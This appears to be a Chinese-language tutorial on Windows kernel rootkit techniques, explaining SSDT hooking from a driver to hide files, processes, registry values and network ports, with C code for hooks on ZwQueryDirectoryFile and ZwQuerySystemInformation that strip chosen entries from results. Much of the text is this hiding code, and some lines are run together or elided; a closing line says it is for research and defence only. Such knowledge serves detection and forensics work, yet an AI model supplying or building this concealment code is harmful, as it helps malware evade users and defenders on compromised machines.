要在系統層級隱藏物件,需攔截核心模式下的關鍵查詢函數:
ZwQueryDirectoryFileZwQuerySystemInformation (SystemInformationClass = 5)ZwEnumerateValueKey 等\Device\Tcp, \Device\Udp) 的 IRP 處理攔截方式:編寫核心驅動程式,修改系統服務描述表 (SSDT / System Call Table) 將上述函數指向自訂的 Hook 函數。因 SSDT 位於 Ring 0,必須由驅動程式在核心模式執行修改。
// 目錄枚舉項目
struct _DirEntry {
DWORD dwLenToNext; DWORD dwAttr;
FILETIME ftCreate, ftLastAccess, ftLastWrite;
DWORD dwFileSizeLow, dwFileSizeHigh;
WORD wNameLen; WCHAR suName[1]; // 變長檔名
};
// 進程資訊
struct _SYSTEM_PROCESSES {
ULONG NextEntryDelta, ThreadCount;
LARGE_INTEGER CreateTime, UserTime, KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId, InheritedFromProcessId, HandleCount;
VM_COUNTERS VmCounters; IO_COUNTERS IoCounters;
_SYSTEM_THREADS Threads[1];
};
NTSTATUS HookZwQueryDirectoryFile(...)
{
NTSTATUS rc = OldZwQueryDirectoryFile(...); // 先呼叫原函數
if (NT_SUCCESS(rc)) {
PDirEntry p = (PDirEntry)FileInformationBuffer, pLast = NULL;
BOOL bLastOne;
do {
bLastOne = !(p->dwLenToNext);
// 取得檔案名 (Unicode 轉 ANSI 大寫比對)
// 在隱藏列表鏈結串列中查找
if (found) {
if (bLastOne) {
if (p == FileInformationBuffer) rc = 0x80000006; // STATUS_NO_MORE_FILES
else pLast->dwLenToNext = 0;
} else {
// 從緩衝區移除該項目:將後續資料前移覆蓋
RtlCopyMemory(p, (char*)p + p->dwLenToNext, iLeft);
continue;
}
}
pLast = p;
p = (PDirEntry)((char*)p + p->dwLenToNext);
} while (!bLastOne);
}
return rc;
}
NTSTATUS HookZwQuerySystemInformation(...)
{
NTSTATUS rc = OldZwQuerySystemInformation(...);
if (NT_SUCCESS(rc) && g_hide_proc && SystemInformationClass == 5) {
_SYSTEM_PROCESSES *curr = (_SYSTEM_PROCESSES*)SystemInformation, *prev = NULL;
while (curr) {
// 取得進程名,比對隱藏列表
if (found) {
// 從鏈結串列移除:調整 NextEntryDelta
if (prev) prev->NextEntryDelta += curr->NextEntryDelta;
else (char*)SystemInformation += curr->NextEntryDelta;
// 繼續檢查下一個 (可能有多個同名進程)
} else {
prev = curr;
}
if (curr->NextEntryDelta) (char*)curr += curr->NextEntryDelta;
else curr = NULL;
}
}
return rc;
}
\Device\Tcp、\Device\Udp 裝置物件指標 (IoGetDeviceObjectPointer)。IoAttachDeviceToDeviceStack)。IRP_MJ_DEVICE_CONTROL,針對 QUERY_INFORMATION_EX (TDI 查詢命令) 直接完成 IRP 並回傳成功,不傳遞給下層,即可隱藏特定連接埠資訊。警告:此類技術屬於 Rootkit 範疇,僅供安全研究與防禦理解使用,濫用將觸犯法律。